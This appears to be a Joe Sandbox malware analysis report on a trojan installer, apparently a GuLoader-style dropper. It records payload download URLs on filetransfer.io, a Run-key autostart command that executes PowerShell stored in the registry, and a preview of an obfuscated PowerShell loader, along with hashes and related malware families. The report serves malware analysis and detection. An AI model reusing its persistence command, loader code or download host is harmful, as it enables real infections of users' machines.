https://filetransfer.io/data-package/sJfx1gsn/downloadL	msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030980397.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3007751552.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052923454.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052979091.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3000101439.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038276428.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045792274.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2992415875.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3007679682.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3000167108.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2992371925.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/downloadX	msiexec.exe, 00000006.00000002.3429200540.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3269062295.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/ransfer.io/Certificates	msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/data-package/sJfx1gsn/download_	msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3133442742.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030980397.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3007751552.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052923454.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052979091.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2984923936.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3101759038.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3076397470.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://filetransfer.io/contact/2/CQkJCXdoaWxlIHVzaW5nIEZpbGVUcmFuc2Zlci5pb.#	msiexec.exe, 00000006.00000003.3252976537.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.152.246	filetransfer.io	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587991
Start date and time:	2025-01-10 20:12:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ht58337iNC.exe renamed because original name is a hash value
Original Sample Name:	2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@11/13@2/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 29 Number of non-executed functions: 30
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 52.149.20.212, 20.242.39.171, 4.245.163.56
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:13:03	API Interceptor	36x Sleep call for process: powershell.exe modified
14:14:06	API Interceptor	39x Sleep call for process: msiexec.exe modified
20:14:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Fotokopiering %Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)
20:14:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Fotokopiering %Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
filetransfer.io	QUOTE_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	104.21.13.139
	QUOTE_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	104.21.13.139
	Company Profile and new order-202401127.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	104.21.13.139
	RE ADVANCE REMITTANCE-INV000567.exe	Get hash	malicious	Unknown	Browse	104.21.13.139
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	172.67.200.96
	RE ADVANCE REMITTANCE-INV000567.exe	Get hash	malicious	Unknown	Browse	172.67.200.96
	QUOTATION_AUGQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	104.21.13.139
	PO_203-25.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.67.200.96
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	psibx9rXra.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	bkTW1FbgHN.exe	Get hash	malicious	FormBook	Browse	104.21.7.187
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	Message 2.eml	Get hash	malicious	Unknown	Browse	172.64.41.3
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	frosty.arm.elf	Get hash	malicious	Mirai	Browse	104.23.145.230

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.152.246
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.152.246
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.152.246
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.152.246
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.152.246
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	172.67.152.246
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	172.67.152.246
	Mmm7GmDcR4.exe	Get hash	malicious	LummaC	Browse	172.67.152.246
	g7Mz6hLxqw.exe	Get hash	malicious	GuLoader	Browse	172.67.152.246
	ln5S7fIBkY.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.152.246

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	53158
Entropy (8bit):	5.062687652912555
Encrypted:	false
SSDEEP:	1536:N8Z+z30pPV3CNBQkj2Ph4iUx7aVKflJnqvPqdKgfSRIOdBlzStAHk4NKeCMiYoLs:iZ+z30pPV3CNBQkj2PqiU7aVKflJnqvF
MD5:	5D430F1344CE89737902AEC47C61C930
SHA1:	0B90F23535E8CDAC8EC1139183D5A8A269C2EFEB
SHA-256:	395099D9A062FA7A72B73D7B354BF411DA7CFD8D6ADAA9FDBC0DD7C282348DC7
SHA-512:	DFC18D47703A69D44643CFC0209B785A4393F4A4C84FAC5557D996BC2A3E4F410EA6D26C66EA7F765CEC491DD52C8454CB0F538D20D2EFF09DC89DDECC0A2AFE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.G.......%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxfsmzwq.l2m.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gdvrtpdi.mh0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pa52xyqm.wzx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qhdqj0en.elp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com

Download File

Process:	C:\Users\user\Desktop\ht58337iNC.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3191), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	54664
Entropy (8bit):	5.340724852549084
Encrypted:	false
SSDEEP:	1536:j84XYJhneqqEWGzLKplf+CIMKdURvqd7vNQi:j84IHeq/W5pA+xZi
MD5:	52289345C34D6F9F4D3B673FF3D2E4FB
SHA1:	42E7B5FDD58AA2ED2583AF7CD1614F1A4EDF6E8B
SHA-256:	B9BEDE61E2FD4CD0EC5F1B51B4CF472DADC1DB5D3645E18F7DF5E295D639A90A
SHA-512:	333B71C99E2F62B5514D78D0DB7A41DC55082CF86F2A81692AB756DD40F1F02AB19F45B210E4B21D7E72F3BCD912276073C0479872E0F780E75EAD6C5EA1C1BE
Malicious:	true
Preview:	$Rundturernes=$Hebrerentervaliceflj;........$Gemmet = @'.Hemer.Nanow$PipeskPrecllaflveaMiothrLez n=Phall$OstraDUdvikrZombipHol glP ussaKapp dSejr eBrandrPomernArnese Svins Wind;U res.DiazofSyvaau we tnUndiscP owftMilitiP einoSvejsn En o HdersSBoligmUnhaneTangalBat ht Prewe EkshhTjeneyKubiktArvett anineSloggr Schin Sk meGrouns faa Micro(Afmaa$BundlUH,lianPann.dSo poeBlokhrMatersI,kmalcloseo Re gpS udde.opef,Samme$AfhasHPottie Nos bEuroerTakkeeUnre rHjtide rapnSupertOb tueCa aprNausevTidssadok.mlAcetoiUmbricBrach)Stang For {Media. rite. L,ss$ eedio Sk mpPrimusStikfpS.garaLnpolr PaleidrikknFoli gOr insInddaoDopesrNonred subsn CokeiKeelanSaintgBryste lgninHa sbsBadeh cre(Fo,ntCTremmiNoshetSavelyBel weT neotDoce bredl'wint UptrVPresuiKvan dOperae Cogn$ hy,iSGrundtDre siSort lKaramlNegleUUdsniTLaaneiArlinmPhreneOverfsCa.usnMusivUContalXenoptTch,t YieldaN ncudcasloPJo,isa SkibrunderkTeknoeTalene Mo.oA FlgerEurytiOmg na.temmnImmorr U anSSt ffu,errnpUndiseM.talrW.ntesFabriVlunkniIbidio

C:\Users\user\AppData\Roaming\Remontado113\Moesgaard.txt

Download File

Process:	C:\Users\user\Desktop\ht58337iNC.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	400
Entropy (8bit):	4.182872499150557
Encrypted:	false
SSDEEP:	6:z6G7AWOnmRW7nJVX/sWdMWCSkP2DdCSOMTbMUpZ3wkSi+AcGQJzgEczio87uiSPZ:z67WOnBsKMVMTVpZdUdBczir7/SaAb
MD5:	D75BED6C51B170836E62AAE42E203950
SHA1:	989BBEC491A54DC0AFC42ADDC7FABC38876E7402
SHA-256:	E471B1411EC12CBF39851A19C522AF567AFC1BB2A1652ACB53AFC63DCFDDE4ED
SHA-512:	E448E068114AD407DFC97C0F374EF54DC51E2E9907DA92AC1585F1FD154BF9533053AF20D4817FEC8BA13424A35EC69A8FD9A59838CBA80E1B4C779ADB797FE0
Malicious:	false
Preview:	klaringens dumdristighed hernani nansens.fashioneringens kvindekr fdemidler rarest snouted scottishernes bestemmelsessted squalidly staerkt nidifying..bnnemderne centralvarmeanlg mezereum syfilitikere slankedes moosemilk irreclaimable.dannebrogordener dimensioning fruz adelphian trenail ilbuddenes artigste.flbedes vejskats eksplosivets stoftryk genbrugendes gendannelsers,stadil hmningsls dismaler.

C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\hinney.led

Download File

Process:	C:\Users\user\Desktop\ht58337iNC.exe
File Type:	data
Category:	dropped
Size (bytes):	3419
Entropy (8bit):	1.2051513336965658
Encrypted:	false
SSDEEP:	24:lsUzHtt4dZ81/Ksu10v5wAWAyY8b6LwWDdP:SUcw5SoPXx
MD5:	D5E18E3B562D4BFF71963B395F7E934A
SHA1:	DD21FCAA4D28998D72A49B6E543F82EE9C2C7A67
SHA-256:	A4F1A39029E0F75C52183A7926B02170C827789280377F8DF98C13A1D86F2C64
SHA-512:	ACD516D9E4DBBEF26BA4EFDD65EB88BE92AA62925E514CA91CED537A16A61810D53186D220D49365CA6413E05D8A4281C5E03CE63237B089671F2352A1CCD7DD
Malicious:	false
Preview:	.....0....................................................................................1.......................................Q............s.....................................!.......................................J..........................4............................................u................ )..............v.......................%.`.....?..............w..............I....................................................@.:...................F........B...................................1...;......X.............................................................................h..................................................I.................................7............................................................-........B.......................K.........................................................H...........(.....N..@..;.............................Z............;.._...............................................................................................

C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	492360
Entropy (8bit):	7.58120525303311
Encrypted:	false
SSDEEP:	12288:g5Dkkb4pUpoaxpfE7cdO5+FIhkq5tY/Sdc:Ckkcp8PfjTSqu6qG
MD5:	FAC446C07F42F8F4EDA2A19CB9D9D0BD
SHA1:	ACCD44EB595CA1E3AD4838DBDBEF675CC78FC5F0
SHA-256:	2F40FC99825DFFF92307180E83FDA33B28EFB3033954BE78D01BA22BB1ADF7FA
SHA-512:	EE224B1812EA7842BD59FD64F0FCF5E40C418FCDF6D04711E8CB8E428A2E9E435575C1E48477CA583507E6A85BC87526EA2583430AF894BFFAD0C4C4FDD96ED4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P..s...P...V...P..Rich.P..........................PE..L......V.................d...........2............@..........................P.......9....@.............................................O...........{..h............................................................................................text...\|c.......d.................. ..`.rdata..\|............h..............@..@.data................~..............@....ndata.......P...........................rsrc....O.......P..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Remontado113\Sensationslystens.kla

Download File

Process:	C:\Users\user\Desktop\ht58337iNC.exe
File Type:	data
Category:	dropped
Size (bytes):	22394
Entropy (8bit):	1.227409273931727
Encrypted:	false
SSDEEP:	192:FHyYaUvSTopzQJAf0GNJ2M4KWJseEX+mLI1pg0k:sxUqTopzEAf0GNJ2M4K7eEX+mLEpHk
MD5:	8EE4024A0F4219E2324DF2B5ACD9F1BB
SHA1:	8F7C220868C7A2684C5F73F091F2E3D8B6476B4F
SHA-256:	81EA4BD84A1222083AACD4EA3D8363AF1E3EE588854E137A79C35917457CF384
SHA-512:	C4F01D8AE78FF64CCE97F506F01466D05DF32E7EF2ED031FCF840FE96AB4E077070EB2272D363D95E915BCBE7907F4D7E687DE866DE8BB48EB58B64CD6A3B407
Malicious:	false
Preview:	........................\.........................(........................................[.................................(.....................................................q........6...Q.......o.............r..............................................u...........F....................................@.................Z..B..`.T..v............................................................b............................................................."..................;.......g....................................#..........................9...................................&.........................................T.......................................................=t...........d.......................e....T............................-.......p.............................l....................................,......................)......................................................:....{...g...........................................&..,...............................

C:\Users\user\AppData\Roaming\Remontado113\bulkskibenes.Omd

Download File

Process:	C:\Users\user\Desktop\ht58337iNC.exe
File Type:	data
Category:	dropped
Size (bytes):	331507
Entropy (8bit):	7.678907795857414
Encrypted:	false
SSDEEP:	6144:i/kQPb1aedvTUe4hlX3ElUKRg/FqhXpFwmokKswx0LnDzkJnJyrufcdCHzoxFKCt:itPb1aedvTUe4hlHE7RiqvK3ybc1srdB
MD5:	E1EDEC1FC3CB37E70112D6EA4BDD2EB7
SHA1:	D3F1E2B279B2230439CA61C07737416C446DA959
SHA-256:	2ECD980408B43394D7C03ADE18C8A5A29F392CE05C2461A7D5D020DF90124197
SHA-512:	9A20860072160B28E35AB13D44E4D0D6FE71C65AA14AD12E1AFA11FE9EDFDA25154F7C8306CCF587D656C926FA77DF892507916132F8924C651B2F33F2AC4A19
Malicious:	false
Preview:	..______.tt..?........RR.................CCC.......3..ll..RR....b...**....ZZ...........................P.......qq.......q..................................N.p...n.......................'...E.8...........%............5...................rr...................h.......+...............O.=.....}}}...........GGG..3....^....TT......V.111.....~~.N.FF...........................................B.....8............P..QQQ....vv.................0............g............xxxxx.....&..NN.EE....+...............................T...............................%%%%%...............................%..........................!...xx............)).............666.........a.....hhhh.w.........<....................... ..........%%.bb.................ss...;;.........................D.....Y...M..z......#.........======...............ZZZ.......T.........G.................v...SS.,...............I.....:..H.V.111......................::.;;...................E.`.........^^.+.Z..xx..c............6...[[.............^.....

C:\Users\user\AppData\Roaming\Remontado113\chick.omf

Download File

Process:	C:\Users\user\Desktop\ht58337iNC.exe
File Type:	data
Category:	dropped
Size (bytes):	229103
Entropy (8bit):	1.258720407338089
Encrypted:	false
SSDEEP:	768:3PUsGZrbRHwN2ehEYEg8sU7AxVzacYoO24ni6pQjaATx7uciMn36oq5uX9D8o/6v:d/W7CDavRowRDge
MD5:	97C4358F556DC600AD79882C3BC816EC
SHA1:	9ACBDFE4316E5E2A1E721F86CD7A0B1CF73422D0
SHA-256:	1D33FC28EB0C67AD42186F7DA4B35DAB4448D6F696A9BE2A3BD483EE5E9AF925
SHA-512:	B75A3D78EDC9EEE34376F359A5486F2A21497C8C312A55F1C64F19C28F40FA13E0AEA5640484082C8DCE7E83FD5F5DB60B55533AA935233AF7C85D63A37ED65A
Malicious:	false
Preview:	..........................................................\|.....................S...................X......................................*..n....................d.............................F............................................=...h.....F........b......b............w......s...s........w.................................%..................l.....................................C......................y.............>...........`.........................................W...................a.....8................................!................1n............Il...........................................+.....................................................................................\........................+...........................NQ...............................................................u..........iV.O.............................."Y.................................................n.........................................................._..........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.58120525303311
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ht58337iNC.exe
File size:	492'360 bytes
MD5:	fac446c07f42f8f4eda2a19cb9d9d0bd
SHA1:	accd44eb595ca1e3ad4838dbdbef675cc78fc5f0
SHA256:	2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa
SHA512:	ee224b1812ea7842bd59fd64f0fcf5e40c418fcdf6d04711e8cb8e428a2e9e435575c1e48477ca583507e6a85bc87526ea2583430af894bffad0c4c4fdd96ed4
SSDEEP:	12288:g5Dkkb4pUpoaxpfE7cdO5+FIhkq5tY/Sdc:Ckkcp8PfjTSqu6qG
TLSH:	52A40195B700C45BDC754F711C6ACA7319ADAC3CABE7160F21E93FAB7A72352040B61A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L......V.................d.........

File Icon


Icon Hash:	0f61390f6d4e502b

Static PE Info

General

Entrypoint:	0x4032a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F847F [Sun Dec 27 06:26:07 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4b94e8ee3f620a89d114b9da4b31873

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Internationalisten, E=Archibalds@Unigenistic.Da, O=Internationalisten, L=Fresnes, OU="Exobiologist Trykknapper ", S=\xcele-de-France, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	03/01/2024 03:59:26 02/01/2025 03:59:26
Subject Chain	CN=Internationalisten, E=Archibalds@Unigenistic.Da, O=Internationalisten, L=Fresnes, OU="Exobiologist Trykknapper ", S=\xcele-de-France, C=FR
Version:	3
Thumbprint MD5:	1E4D193DC2C3646EF5C046E636E3183F
Thumbprint SHA-1:	333F6E5453AEE48F7C1F8402DF5B3D246E093C46
Thumbprint SHA-256:	C8EACD36CE0007625740128FCF795FCA63175EF27F27A62EF4882C5538A911BE
Serial:	24A0E9124B6BCE3170A8603C82863605CFBD1927

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 0040A300h
mov dword ptr [esp+18h], ebp
call dword ptr [004080B0h]
call dword ptr [004080ACh]
cmp ax, 00000006h
je 00007FDD7D1224F3h
push ebp
call 00007FDD7D125636h
cmp eax, ebp
